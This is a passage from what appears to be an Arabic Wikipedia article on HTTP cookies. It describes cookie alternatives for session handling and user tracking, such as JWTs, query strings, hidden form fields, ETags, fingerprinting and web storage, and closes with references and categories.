وبالمثل، لا تفرق ملفات تعريف الارتباط بين المستخدمين المتعددين الذين يتشاركون نفس [[مستخدم (حوسبة)|حساب المستخدم]] والكمبيوتر والمتصفح.

== بدائل لملفات تعريف الارتباط ==
يمكن أيضًا تنفيذ بعض العمليات التي يمكن إجراؤها باستخدام ملفات تعريف الارتباط باستخدام آليات أخرى.

=== المصادقة وإدارة الجلسة ===

==== رموز الويب جيسون ====
 (JWT) عبارة عن حزمة مستقلة من المعلومات يمكن استخدامها لتخزين هوية المستخدم ومعلومات صحته. وهذا يسمح باستخدامها بدلاً من ملفات تعريف الارتباط الخاصة بالجلسة. على عكس ملفات تعريف الارتباط، والتي يتم إرفاقها تلقائيًا بكل طلب بروتوكول نقل النص الفائق بواسطة المتصفح، يجب إرفاق JWTs صراحةً بكل طلب بروتوكول نقل النص الفائق بواسطة تطبيق الويب.

==== مصادقة بروتوكول نقل النص الفائق ====
يتضمن بروتوكول نقل النص الفائق بروتوكولات  وبروتوكولات ، والتي تسمح بالوصول إلى صفحة الويب فقط عندما يقدم المستخدم اسم المستخدم وكلمة المرور الصحيحين. إذا كان الخادم يتطلب مثل هذه بيانات الاعتماد لمنح الوصول إلى صفحة ويب، يطلب المتصفح هذه البيانات من المستخدم، وبمجرد الحصول عليها، يقوم المتصفح بتخزينها وإرسالها في كل طلب صفحة لاحق. يمكن استخدام هذه المعلومات لتتبع المستخدم.

==== عنوان محدد موقع الموارد الموحد (سلسلة الاستعلام) ====
جزء [[سلسلة استعلام|سلسلة الاستعلام]] من [[محدد موقع الموارد الموحد]] هو الجزء الذي يتم استخدامه عادةً لهذا الغرض، ولكن يمكن استخدام أجزاء أخرى أيضًا. تستخدم كل من آليات جلسة [[سيرفلت|Java Servlet]] و[[بي إتش بي|PHP]] هذه الطريقة إذا لم يتم تمكين ملفات تعريف الارتباط.

تتكون هذه الطريقة من قيام خادم الويب بإضافة سلاسل استعلام تحتوي على مُعرّف جلسة فريد إلى جميع الروابط داخل صفحة الويب. عندما يتبع المستخدم رابطًا، يُرسل المتصفح سلسلة الاستعلام إلى الخادم، مما يسمح له بتحديد هوية المستخدم والحفاظ على الحالة.

تتشابه هذه الأنواع من سلاسل الاستعلام إلى حد كبير مع ملفات تعريف الارتباط من حيث أن كلاهما يحتوي على قطع عشوائية من المعلومات يختارها الخادم ويتم إرسالهما مرة أخرى إلى الخادم في كل طلب. ومع ذلك، هناك بعض الاختلافات. نظرًا لأن سلسلة الاستعلام هي جزء من عنوان محدد موقع الموارد الموحد، فإذا تمت إعادة استخدام هذا العنوان لاحقًا، فسيتم إرسال نفس قطعة المعلومات المرفقة إلى الخادم، مما قد يؤدي إلى حدوث ارتباك. على سبيل المثال، إذا تم ترميز تفضيلات المستخدم في سلسلة الاستعلام الخاصة بعنوان محدد موقع الموارد الموحد وقام المستخدم بإرسال هذا العنوان إلى مستخدم آخر عبر [[بريد إلكتروني|البريد الإلكتروني]]، فسيتم استخدام هذه التفضيلات لهذا المستخدم الآخر أيضًا.

علاوة على ذلك، إذا قام نفس المستخدم بالوصول إلى نفس الصفحة عدة مرات من مصادر مختلفة، فلا يوجد ما يضمن استخدام نفس سلسلة الاستعلام في كل مرة. على سبيل المثال، إذا قام أحد المستخدمين بزيارة صفحة ما من خلال القدوم من صفحة *داخلية للموقع* في المرة الأولى، ثم قام بزيارة نفس الصفحة من خلال القدوم من *محرك بحث خارجي'' في المرة الثانية، فمن المحتمل أن تكون سلاسل الاستعلام مختلفة. إذا تم استخدام ملفات تعريف الارتباط في هذه الحالة، فستكون ملفات تعريف الارتباط هي نفسها.

ترتبط العيوب الأخرى لسلاسل الاستعلام بالأمان. يؤدي تخزين البيانات التي تحدد جلسة في سلسلة استعلام إلى تمكين هجمات تثبيت الجلسة وهجمات تسجيل المرجع واستغلالات أمنية أخرى. يعد نقل معرفات الجلسة كملفات تعريف ارتباط بروتوكول نقل النص الفائق أكثر أمانًا.

#### حقول النموذج المخفية
شكل آخر لتتبع الجلسة هو استخدام نماذج الويب ذات الحقول المخفية. تتشابه هذه التقنية إلى حد كبير مع استخدام سلاسل استعلام محدد موقع الموارد الموحد لحفظ المعلومات ولها العديد من المزايا والعيوب نفسها. في الواقع، إذا تم التعامل مع النموذج باستخدام طريقة HTTP GET، فإن هذه التقنية تشبه استخدام سلاسل استعلام محدد موقع الموارد الموحد، حيث تضيف طريقة GET حقول النموذج إلى عنوان محدد موقع الموارد الموحد كسلسلة استعلام. ولكن يتم التعامل مع معظم النماذج باستخدام HTTP POST، مما يتسبب في إرسال معلومات النموذج، بما في ذلك الحقول المخفية، في نص طلب بروتوكول نقل النص الفائق، والذي لا يعد جزءًا من عنوان محدد موقع الموارد الموحد، ولا جزءًا من ملف تعريف الارتباط.

يقدم هذا النهج ميزتين من وجهة نظر المُتتبِّع. أولاً، وضع معلومات التتبُّع في نص طلب بروتوكول نقل النص الفائق بدلاً من عنوان محدد موقع الموارد الموحد يعني أنها لن تُلاحظ من قِبَل المستخدم العادي. ثانياً، لا تُنسَخ معلومات الجلسة عند نسخ المستخدم لعنوان محدد موقع الموارد الموحد (لإضافة الصفحة إلى المفضلة أو إرسالها عبر البريد الإلكتروني، على سبيل المثال).

#### خاصية دوم الخاصة بـwindow.name
يمكن لجميع متصفحات الويب الحالية تخزين كمية كبيرة إلى حد ما من البيانات (2–32)&nbsp;م/ب) عبر جافا سكريبت باستخدام خاصية دوم `window.name`. يمكن استخدام هذه البيانات بدلاً من ملفات تعريف الارتباط الخاصة بالجلسة. يمكن ربط هذه التقنية بكائنات جاسون/جافا سكريبت لتخزين مجموعات معقدة من متغيرات الجلسة على جانب العميل.

الجانب السلبي هو أن كل نافذة أو علامة تبويب منفصلة ستحتوي في البداية على خاصية `window.name` فارغة عند فتحها.

في بعض النواحي، قد يكون هذا أكثر أمانًا من ملفات تعريف الارتباط نظرًا لحقيقة أن محتوياته لا يتم إرسالها تلقائيًا إلى الخادم في كل طلب مثل ملفات تعريف الارتباط، وبالتالي فهو ليس عرضة لهجمات استنشاق ملفات تعريف الارتباط على الشبكة.

### التتبع

#### عنوان بروتوكول الإنترنت
قد يتم تعقب بعض المستخدمين استنادًا إلى عنوان بروتوكول الإنترنت الخاص بالكمبيوتر الذي يطلب الصفحة. يعرف الخادم عنوان بروتوكول الإنترنت الخاص بالكمبيوتر الذي يقوم بتشغيل المتصفح (أو الوكيل، إذا تم استخدام أي منهما) ويمكنه نظريًا ربط جلسة المستخدم بهذا عنوان بروتوكول الإنترنت.

ومع ذلك، لا تعد عناوين بروتوكول الإنترنت بشكل عام طريقة موثوقة لتتبع جلسة أو تحديد هوية المستخدم. تم تصميم العديد من أجهزة الكمبيوتر لاستخدامها بواسطة مستخدم واحد، مثل أجهزة الكمبيوتر المكتبية أو المنزلية، خلف مترجم عناوين الشبكة (NAT). وهذا يعني أن العديد من أجهزة الكمبيوتر ستشارك عنوان بروتوكول الإنترنت عامًا. علاوة على ذلك، تم تصميم بعض الأنظمة، مثل Tor، للحفاظ على إخفاء هوية المستخدم على الإنترنت، مما يجعل التتبع عن طريق عنوان بروتوكول الإنترنت غير عملي أو مستحيل أو يشكل خطرًا أمنيًا.

#### علامة إلكترونية
لأن المتصفح يُخزّن علامات إلكترونية مؤقتًا، ثم يُعاد مع الطلبات اللاحقة للمورد نفسه، يُمكن لخادم التتبع ببساطة تكرار أي علامة إلكترونية مُستقبَلة من المتصفح لضمان بقاء علامة إلكترونية المُخصّصة إلى أجل غير مُسمّى (على غرار ملفات تعريف الارتباط الدائمة). كما يُمكن لحقول رأس التخزين المؤقت الإضافية أن تُحسّن حفظ بيانات علامة إلكترونية.

يمكن مسح علامات إلكترونية في بعض المتصفحات عن طريق مسح ذاكرة التخزين المؤقت للمتصفح.

#### الذاكرة المخبأة للمتصفح

يمكن أيضًا استخدام ذاكرة التخزين المؤقت للمتصفح لتخزين معلومات تُستخدم لتتبّع المستخدمين الأفراد. تستفيد هذه التقنية من استخدام متصفح الويب للموارد المخزنة داخل ذاكرة التخزين المؤقت بدلًا من تنزيلها من موقع الويب عندما يتأكّد من أن ذاكرة التخزين المؤقت تحتوي بالفعل على أحدث إصدار من المورد.

على سبيل المثال، يمكن لموقع ويب تقديم ملف جافا سكريبت يحتوي على كود يحدد معرفًا فريدًا للمستخدم (على سبيل المثال، `var userId = 3243242;`). بعد الزيارة الأولية للمستخدم، في كل مرة يقوم فيها المستخدم بالوصول إلى الصفحة، سيتم تحميل هذا الملف من ذاكرة التخزين المؤقت بدلاً من تنزيله من الخادم. وبالتالي فإن محتواه لن يتغير أبدًا.

#### بصمة المتصفح

بصمة المتصفح هي معلومات يتم جمعها حول تكوين المتصفح، مثل رقم الإصدار ودقة الشاشة ونظام التشغيل، لغرض التعريف. يمكن استخدام بصمات الأصابع لتحديد هوية المستخدمين أو الأجهزة بشكل كامل أو جزئي حتى عندما يتم إيقاف تشغيل ملفات تعريف الارتباط.

لقد تم جمع معلومات تكوين متصفح الويب الأساسية منذ فترة طويلة بواسطة خدمات تحليلات الويب في محاولة لقياس حركة مرور الويب البشرية الحقيقية بدقة والتخلص من أشكال مختلفة من الاحتيال بالنقر. بمساعدة لغات البرمجة النصية الخاصة بالعميل، أصبح من الممكن جمع المزيد من المعلمات الغامضة. إن دمج مثل هذه المعلومات في سلسلة واحدة يشكل بصمة الجهاز. في عام 2010، قامت مؤسسة التخوم الإلكترونية بقياس ما لا يقل عن 18.1 بت من الإنتروبيا الممكنة من بصمة المتصفح. تزعم ، وهي تقنية أحدث، أنها تضيف 5.7 بت أخرى.

### تخزين الويب

تدعم بعض متصفحات الويب آليات الاستمرارية التي تسمح للصفحة بتخزين المعلومات محليًا لاستخدامها لاحقًا.

يتضمن معيار لغة تأشير النص الترابطي 5 (الذي تدعمه معظم متصفحات الويب الحديثة إلى حد ما) واجهة برمجة تطبيقات جافا سكريبت تسمى تخزين الويب والتي تسمح بنوعين من التخزين: التخزين المحلي وتخزين الجلسة. يتصرف التخزين المحلي بشكل مشابه لملفات تعريف الارتباط الدائمة بينما يتصرف تخزين الجلسة بشكل مشابه لملفات تعريف الارتباط للجلسة، باستثناء أن تخزين الجلسة مرتبط بفترة صلاحية علامة تبويب/نافذة فردية (المعروفة أيضًا باسم جلسة الصفحة)، وليس بجلسة متصفح كاملة مثل ملفات تعريف ارتباط الجلسة.

يدعم إنترنت إكسبلورر المعلومات المستمرة في سجل المتصفح، وفي مفضلات المتصفح، وفي مخزن XML («بيانات المستخدم»)، أو مباشرة داخل صفحة ويب محفوظة على القرص.

تتضمن بعض مكونات متصفح الويب آليات الثبات أيضًا. على سبيل المثال، يحتوي أدوبي فلاش على  ويحتوي مايكروسوفت سيلفرلايت على تخزين معزول.

## انظر أيضًا
* جلسة (حاسوب)

## المراجع

### المصادر
* Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp.&nbsp;Informationweek - Online, May 26, 2011.

## وصلات خارجية

* , the current official specification for HTTP cookies
* HTTP cookies, Mozilla Developer Network
* Using cookies via ECMAScript, Mozilla Developer Network
* 
* Cookies at the Electronic Privacy Information Center (EPIC)
* Mozilla Knowledge-Base: Cookies
* Cookie Domain, explain in detail how cookie domains are handled in current major browsers 
* Cookie Stealing - Michael Pound
* Check cookies for compliance with EU cookie directive

تصنيف:اختراق (حماية الحاسوب)
تصنيف:التحكم بالوصول للحاسوب
تصنيف:برمجة
تصنيف:بروتوكول نقل النصوص الترابطية
تصنيف:تتبع
تصنيف:خصوصية الإنترنت